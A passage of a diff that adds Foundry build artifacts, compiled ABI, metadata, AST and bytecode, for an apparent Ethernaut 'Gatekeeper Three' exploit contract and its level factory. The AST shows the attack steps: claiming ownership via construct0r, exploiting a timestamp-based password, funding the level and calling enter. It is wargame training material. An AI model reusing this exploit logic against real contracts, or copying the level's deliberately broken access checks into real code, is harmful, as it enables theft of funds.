;:29;;;;;;;;;;:15;;:29;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;448:15:46;;;:29;;;;;;;;-1:-1:-1;;;;;448:15:46;;;;-1:-1:-1;448:27:46;;-1:-1:-1;448:29:46;;;;;:15;:29;;;;;;:15;;:29;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;524:15:46;;:45;;;;;553:15;524:45;;;424:25:155;-1:-1:-1;;;;;524:15:46;;;;-1:-1:-1;524:28:46;;-1:-1:-1;397:18:155;;524:45:46;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;612:15:46;;;596:56;;-1:-1:-1;;;;;612:15:46;;;;-1:-1:-1;612:15:46;;-1:-1:-1;639:12:46;;612:15;596:56;612:15;596:56;639:12;612:15;;596:56;;;;;;;;;;;;;;;;;;;-1:-1:-1;662:15:46;;;:23;;;;;;;;-1:-1:-1;;;;;662:15:46;;;;:21;;:23;;;;;;;;;;:15;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;308:384::o","linkReferences":{}},"methodIdentifiers":{"attack()":"9e5faafc","gatekeeperThree()":"a46916a7"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_gatekeeperThree\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"constructor\"},{\"inputs\":[],\"name\":\"attack\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"gatekeeperThree\",\"outputs\":[{\"internalType\":\"contract GatekeeperThree\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/attacks/GatekeeperThreeAttack.sol\":\"GatekeeperThreeAttack\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/attacks/GatekeeperThreeAttack.sol\":{\"keccak256\":\"0x4a2495d7e60cd6b2503b8b9bde683b6e4da650175cd46a65b56285a82724ca11\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://e42233c330c11eb884c0c692686f3df158212986e227a4285a7b736e82941af8\",\"dweb:/ipfs/QmV6WxghXycT4heL2jycsGekXw32Px9N9ubK93oYyAuc8g\"]},\"src/levels/GatekeeperThree.sol\":{\"keccak256\":\"0x4de27d7258584b756d8b80426b809f06342c1563140841074e09df9c0500ad67\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f028804d6f3cbf63d4116b27cc1bc24c6e85d7699a7b4aa80a956d7725f70da5\",\"dweb:/ipfs/QmWApv9aSZwPx95z85E11SQRnE4R5jB7tEqWDYiyxhfV7P\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address payable","name":"_gatekeeperThree","type":"address"}],"stateMutability":"payable","type":"constructor"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"attack"},{"inputs":[],"stateMutability":"view","type":"function","name":"gatekeeperThree","outputs":[{"internalType":"contract GatekeeperThree","name":"","type":"address"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/attacks/GatekeeperThreeAttack.sol":"GatekeeperThreeAttack"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/attacks/GatekeeperThreeAttack.sol":{"keccak256":"0x4a2495d7e60cd6b2503b8b9bde683b6e4da650175cd46a65b56285a82724ca11","urls":["bzz-raw://e42233c330c11eb884c0c692686f3df158212986e227a4285a7b736e82941af8","dweb:/ipfs/QmV6WxghXycT4heL2jycsGekXw32Px9N9ubK93oYyAuc8g"],"license":"MIT"},"src/levels/GatekeeperThree.sol":{"keccak256":"0x4de27d7258584b756d8b80426b809f06342c1563140841074e09df9c0500ad67","urls":["bzz-raw://f028804d6f3cbf63d4116b27cc1bc24c6e85d7699a7b4aa80a956d7725f70da5","dweb:/ipfs/QmWApv9aSZwPx95z85E11SQRnE4R5jB7tEqWDYiyxhfV7P"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/attacks/GatekeeperThreeAttack.sol","id":49467,"exportedSymbols":{"GatekeeperThree":[52870],"GatekeeperThreeAttack":[49466],"SimpleTrick":[52742]},"nodeType":"SourceUnit","src":"32:663:46","nodes":[{"id":49412,"nodeType":"PragmaDirective","src":"32:23:46","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":49413,"nodeType":"ImportDirective","src":"57:39:46","nodes":[],"absolutePath":"src/levels/GatekeeperThree.sol","file":"../levels/GatekeeperThree.sol","nameLocation":"-1:-1:-1","scope":49467,"sourceUnit":52871,"symbolAliases":[],"unitAlias":""},{"id":49466,"nodeType":"ContractDefinition","src":"98:596:46","nodes":[{"id":49416,"nodeType":"VariableDeclaration","src":"135:38:46","nodes":[],"constant":false,"functionSelector":"a46916a7","mutability":"mutable","name":"gatekeeperThree","nameLocation":"158:15:46","scope":49466,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"},"typeName":{"id":49415,"nodeType":"UserDefinedTypeName","pathNode":{"id":49414,"name":"GatekeeperThree","nameLocations":["135:15:46"],"nodeType":"IdentifierPath","referencedDeclaration":52870,"src":"135:15:46"},"referencedDeclaration":52870,"src":"135:15:46","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}},"visibility":"public"},{"id":49428,"nodeType":"FunctionDefinition","src":"180:122:46","nodes":[],"body":{"id":49427,"nodeType":"Block","src":"234:68:46","nodes":[],"statements":[{"expression":{"id":49425,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":49421,"name":"gatekeeperThree","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49416,"src":"244:15:46","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":49423,"name":"_gatekeeperThree","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49418,"src":"278:16:46","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":49422,"name":"GatekeeperThree","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52870,"src":"262:15:46","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_GatekeeperThree_$52870_$","typeString":"type(contract GatekeeperThree)"}},"id":49424,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"262:33:46","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}},"src":"244:51:46","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}},"id":49426,"nodeType":"ExpressionStatement","src":"244:51:46"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":49419,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49418,"mutability":"mutable","name":"_gatekeeperThree","nameLocation":"208:16:46","nodeType":"VariableDeclaration","scope":49428,"src":"192:32:46","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":49417,"name":"address","nodeType":"ElementaryTypeName","src":"192:15:46","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"}],"src":"191:34:46"},"returnParameters":{"id":49420,"nodeType":"ParameterList","parameters":[],"src":"234:0:46"},"scope":49466,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":49465,"nodeType":"FunctionDefinition","src":"308:384:46","nodes":[],"body":{"id":49464,"nodeType":"Block","src":"333:359:46","nodes":[],"statements":[{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":49431,"name":"gatekeeperThree","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49416,"src":"369:15:46","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}},"id":49433,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"385:11:46","memberName":"construct0r","nodeType":"MemberAccess","referencedDeclaration":52760,"src":"369:27:46","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":49434,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"369:29:46","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49435,"nodeType":"ExpressionStatement","src":"369:29:46"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":49436,"name":"gatekeeperThree","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49416,"src":"448:15:46","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}},"id":49438,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"464:11:46","memberName":"createTrick","nodeType":"MemberAccess","referencedDeclaration":52850,"src":"448:27:46","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":49439,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"448:29:46","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49440,"nodeType":"ExpressionStatement","src":"448:29:46"},{"expression":{"arguments":[{"expression":{"id":49444,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"553:5:46","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block"}},"id":49445,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"559:9:46","memberName":"timestamp","nodeType":"MemberAccess","src":"553:15:46","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":49441,"name":"gatekeeperThree","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49416,"src":"524:15:46","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}},"id":49443,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"540:12:46","memberName":"getAllowance","nodeType":"MemberAccess","referencedDeclaration":52827,"src":"524:28:46","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256) external"}},"id":49446,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"524:45:46","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49447,"nodeType":"ExpressionStatement","src":"524:45:46"},{"expression":{"arguments":[{"hexValue":"302e30303131","id":49456,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"639:12:46","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_1100000000000000_by_1","typeString":"int_const 1100000000000000"},"value":"0.0011"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1100000000000000_by_1","typeString":"int_const 1100000000000000"}],"expression":{"arguments":[{"arguments":[{"id":49452,"name":"gatekeeperThree","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49416,"src":"612:15:46","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}],"id":49451,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"604:7:46","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":49450,"name":"address","nodeType":"ElementaryTypeName","src":"604:7:46","typeDescriptions":{}}},"id":49453,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"604:24:46","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":49449,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"596:8:46","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":49448,"name":"address","nodeType":"ElementaryTypeName","src":"596:8:46","stateMutability":"payable","typeDescriptions":{}}},"id":49454,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"596:33:46","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":49455,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"630:8:46","memberName":"transfer","nodeType":"MemberAccess","src":"596:42:46","typeDescriptions":{"typeIdentifier":"t_function_transfer_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256)"}},"id":49457,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"596:56:46","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49458,"nodeType":"ExpressionStatement","src":"596:56:46"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":49459,"name":"gatekeeperThree","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49416,"src":"662:15:46","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}},"id":49461,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"678:5:46","memberName":"enter","nodeType":"MemberAccess","referencedDeclaration":52865,"src":"662:21:46","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":49462,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"662:23:46","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49463,"nodeType":"ExpressionStatement","src":"662:23:46"}]},"functionSelector":"9e5faafc","implemented":true,"kind":"function","modifiers":[],"name":"attack","nameLocation":"317:6:46","parameters":{"id":49429,"nodeType":"ParameterList","parameters":[],"src":"323:2:46"},"returnParameters":{"id":49430,"nodeType":"ParameterList","parameters":[],"src":"333:0:46"},"scope":49466,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"GatekeeperThreeAttack","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[49466],"name":"GatekeeperThreeAttack","nameLocation":"107:21:46","scope":49467,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":46} \ No newline at end of file diff --git a/contracts/out/GatekeeperThreeFactory.sol/GatekeeperThreeFactory.json b/contracts/out/GatekeeperThreeFactory.sol/GatekeeperThreeFactory.json new file mode 100644 index 000000000..28351d8b4 --- /dev/null +++ b/contracts/out/GatekeeperThreeFactory.sol/GatekeeperThreeFactory.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610afa8061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610345565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610367565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610345565b6101cf565b610114610264565b61011d5f6102bd565b565b5f8060405161012d90610324565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050826001600160a01b0316816001600160a01b0316639db31d776040518163ffffffff1660e01b8152600401602060405180830381865afa158015610199573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101bd919061039e565b6001600160a01b031614949350505050565b6101d7610264565b6001600160a01b0381166102585760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610261816102bd565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161024f565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61070b806103ba83390190565b6001600160a01b0381168114610261575f80fd5b5f60208284031215610355575f80fd5b813561036081610331565b9392505050565b5f8060408385031215610378575f80fd5b823561038381610331565b9150602083013561039381610331565b809150509250929050565b5f602082840312156103ae575f80fd5b81516103608161033156fe608060405234801561000f575f80fd5b506106ee8061001d5f395ff3fe60806040526004361061007c575f3560e01c8063b9966e561161004c578063b9966e5614610130578063c960174e14610161578063e97dcb6214610180578063f7edf09914610194575f80fd5b80630c3d9fed14610087578063690da2b2146100bc5780638da5cb5b146100f35780639db31d7714610111575f80fd5b3661008357005b5f80fd5b348015610092575f80fd5b506001546100a790600160a01b900460ff1681565b60405190151581526020015b60405180910390f35b3480156100c7575f80fd5b506002546100db906001600160a01b031681565b6040516001600160a01b0390911681526020016100b3565b3480156100fe575f80fd5b505f546100db906001600160a01b031681565b34801561011c575f80fd5b506001546100db906001600160a01b031681565b34801561013b575f80fd5b5061015f5f805473ffffffffffffffffffffffffffffffffffffffff191633179055565b005b34801561016c575f80fd5b5061015f61017b3660046103e0565b6101a8565b34801561018b575f80fd5b5061015f610264565b34801561019f575f80fd5b5061015f61030a565b6002546040517f9e4b2e47000000000000000000000000000000000000000000000000000000008152600481018390526001600160a01b0390911690639e4b2e47906024016020604051808303815f875af1158015610209573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061022d91906103f7565b1561026157600180547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b1790555b50565b5f546001600160a01b03163314610279575f80fd5b5f546001600160a01b0316320361028e575f80fd5b60018054600160a01b900460ff161515146102a7575f80fd5b66038d7ea4c68000471180156102e357505f80546040516001600160a01b03909116919066038d7ea4c680009082818181858883f11593505050505b15610308576001805473ffffffffffffffffffffffffffffffffffffffff1916321790555b565b30604051610317906103d3565b6001600160a01b039091168152602001604051809103905ff080158015610340573d5f803e3d5ffd5b506002805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169182179055604080517f4cbb817f0000000000000000000000000000000000000000000000000000000081529051634cbb817f916004808201925f9290919082900301818387803b1580156103bb575f80fd5b505af11580156103cd573d5f803e3d5ffd5b50505050565b61029b8061041e83390190565b5f602082840312156103f0575f80fd5b5035919050565b5f60208284031215610407575f80fd5b81518015158114610416575f80fd5b939250505056fe608060405242600255348015610013575f80fd5b5060405161029b38038061029b83398101604081905261003291610056565b5f80546001600160a01b0319166001600160a01b0392909216919091179055610083565b5f60208284031215610066575f80fd5b81516001600160a01b038116811461007c575f80fd5b9392505050565b61020b806100905f395ff3fe608060405234801561000f575f80fd5b5060043610610064575f3560e01c80639e4b2e471161004d5780639e4b2e47146100c9578063b7e00291146100ec578063d4b83992146100f4575f80fd5b80634cbb817f14610068578063690da2b214610099575b5f80fd5b610097600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001630179055565b005b6001546100ac906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6100dc6100d73660046101be565b610106565b60405190151581526020016100c0565b610097610122565b5f546100ac906001600160a01b031681565b5f600254820361011857506001919050565b5050426002555f90565b303314801561013c57506001546001600160a01b03163014155b156101bc575f546002546040517fc960174e0000000000000000000000000000000000000000000000000000000081526001600160a01b039092169163c960174e9161018e9160040190815260200190565b5f604051808303815f87803b1580156101a5575f80fd5b505af11580156101b7573d5f803e3d5ffd5b505050505b565b5f602082840312156101ce575f80fd5b503591905056fea264697066735822122092638c9cf5903636f306a28729cd199a98c3e40cf6090bb4885432dde697b21d64736f6c63430008180033a264697066735822122004ec1558c477d8267989f4fb6808aa81eb4b010971406c03a1d94f9d1699324264736f6c63430008180033a2646970667358221220105d34f0cc0aead0758e547b8b298108adba52702863b6da9843e318c1b1021664736f6c63430008180033","sourceMap":"117:476:84:-:0;;;;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;117:476:84;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;117:476:84:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610345565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610367565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610345565b6101cf565b610114610264565b61011d5f6102bd565b565b5f8060405161012d90610324565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050826001600160a01b0316816001600160a01b0316639db31d776040518163ffffffff1660e01b8152600401602060405180830381865afa158015610199573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101bd919061039e565b6001600160a01b031614949350505050565b6101d7610264565b6001600160a01b0381166102585760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610261816102bd565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161024f565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61070b806103ba83390190565b6001600160a01b0381168114610261575f80fd5b5f60208284031215610355575f80fd5b813561036081610331565b9392505050565b5f8060408385031215610378575f80fd5b823561038381610331565b9150602083013561039381610331565b809150509250929050565b5f602082840312156103ae575f80fd5b81516103608161033156fe608060405234801561000f575f80fd5b506106ee8061001d5f395ff3fe60806040526004361061007c575f3560e01c8063b9966e561161004c578063b9966e5614610130578063c960174e14610161578063e97dcb6214610180578063f7edf09914610194575f80fd5b80630c3d9fed14610087578063690da2b2146100bc5780638da5cb5b146100f35780639db31d7714610111575f80fd5b3661008357005b5f80fd5b348015610092575f80fd5b506001546100a790600160a01b900460ff1681565b60405190151581526020015b60405180910390f35b3480156100c7575f80fd5b506002546100db906001600160a01b031681565b6040516001600160a01b0390911681526020016100b3565b3480156100fe575f80fd5b505f546100db906001600160a01b031681565b34801561011c575f80fd5b506001546100db906001600160a01b031681565b34801561013b575f80fd5b5061015f5f805473ffffffffffffffffffffffffffffffffffffffff191633179055565b005b34801561016c575f80fd5b5061015f61017b3660046103e0565b6101a8565b34801561018b575f80fd5b5061015f610264565b34801561019f575f80fd5b5061015f61030a565b6002546040517f9e4b2e47000000000000000000000000000000000000000000000000000000008152600481018390526001600160a01b0390911690639e4b2e47906024016020604051808303815f875af1158015610209573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061022d91906103f7565b1561026157600180547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b1790555b50565b5f546001600160a01b03163314610279575f80fd5b5f546001600160a01b0316320361028e575f80fd5b60018054600160a01b900460ff161515146102a7575f80fd5b66038d7ea4c68000471180156102e357505f80546040516001600160a01b03909116919066038d7ea4c680009082818181858883f11593505050505b15610308576001805473ffffffffffffffffffffffffffffffffffffffff1916321790555b565b30604051610317906103d3565b6001600160a01b039091168152602001604051809103905ff080158015610340573d5f803e3d5ffd5b506002805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169182179055604080517f4cbb817f0000000000000000000000000000000000000000000000000000000081529051634cbb817f916004808201925f9290919082900301818387803b1580156103bb575f80fd5b505af11580156103cd573d5f803e3d5ffd5b50505050565b61029b8061041e83390190565b5f602082840312156103f0575f80fd5b5035919050565b5f60208284031215610407575f80fd5b81518015158114610416575f80fd5b939250505056fe608060405242600255348015610013575f80fd5b5060405161029b38038061029b83398101604081905261003291610056565b5f80546001600160a01b0319166001600160a01b0392909216919091179055610083565b5f60208284031215610066575f80fd5b81516001600160a01b038116811461007c575f80fd5b9392505050565b61020b806100905f395ff3fe608060405234801561000f575f80fd5b5060043610610064575f3560e01c80639e4b2e471161004d5780639e4b2e47146100c9578063b7e00291146100ec578063d4b83992146100f4575f80fd5b80634cbb817f14610068578063690da2b214610099575b5f80fd5b610097600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001630179055565b005b6001546100ac906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6100dc6100d73660046101be565b610106565b60405190151581526020016100c0565b610097610122565b5f546100ac906001600160a01b031681565b5f600254820361011857506001919050565b5050426002555f90565b303314801561013c57506001546001600160a01b03163014155b156101bc575f546002546040517fc960174e0000000000000000000000000000000000000000000000000000000081526001600160a01b039092169163c960174e9161018e9160040190815260200190565b5f604051808303815f87803b1580156101a5575f80fd5b505af11580156101b7573d5f803e3d5ffd5b505050505b565b5f602082840312156101ce575f80fd5b503591905056fea264697066735822122092638c9cf5903636f306a28729cd199a98c3e40cf6090bb4885432dde697b21d64736f6c63430008180033a264697066735822122004ec1558c477d8267989f4fb6808aa81eb4b010971406c03a1d94f9d1699324264736f6c63430008180033a2646970667358221220105d34f0cc0aead0758e547b8b298108adba52702863b6da9843e318c1b1021664736f6c63430008180033","sourceMap":"117:476:84:-:0;;;;;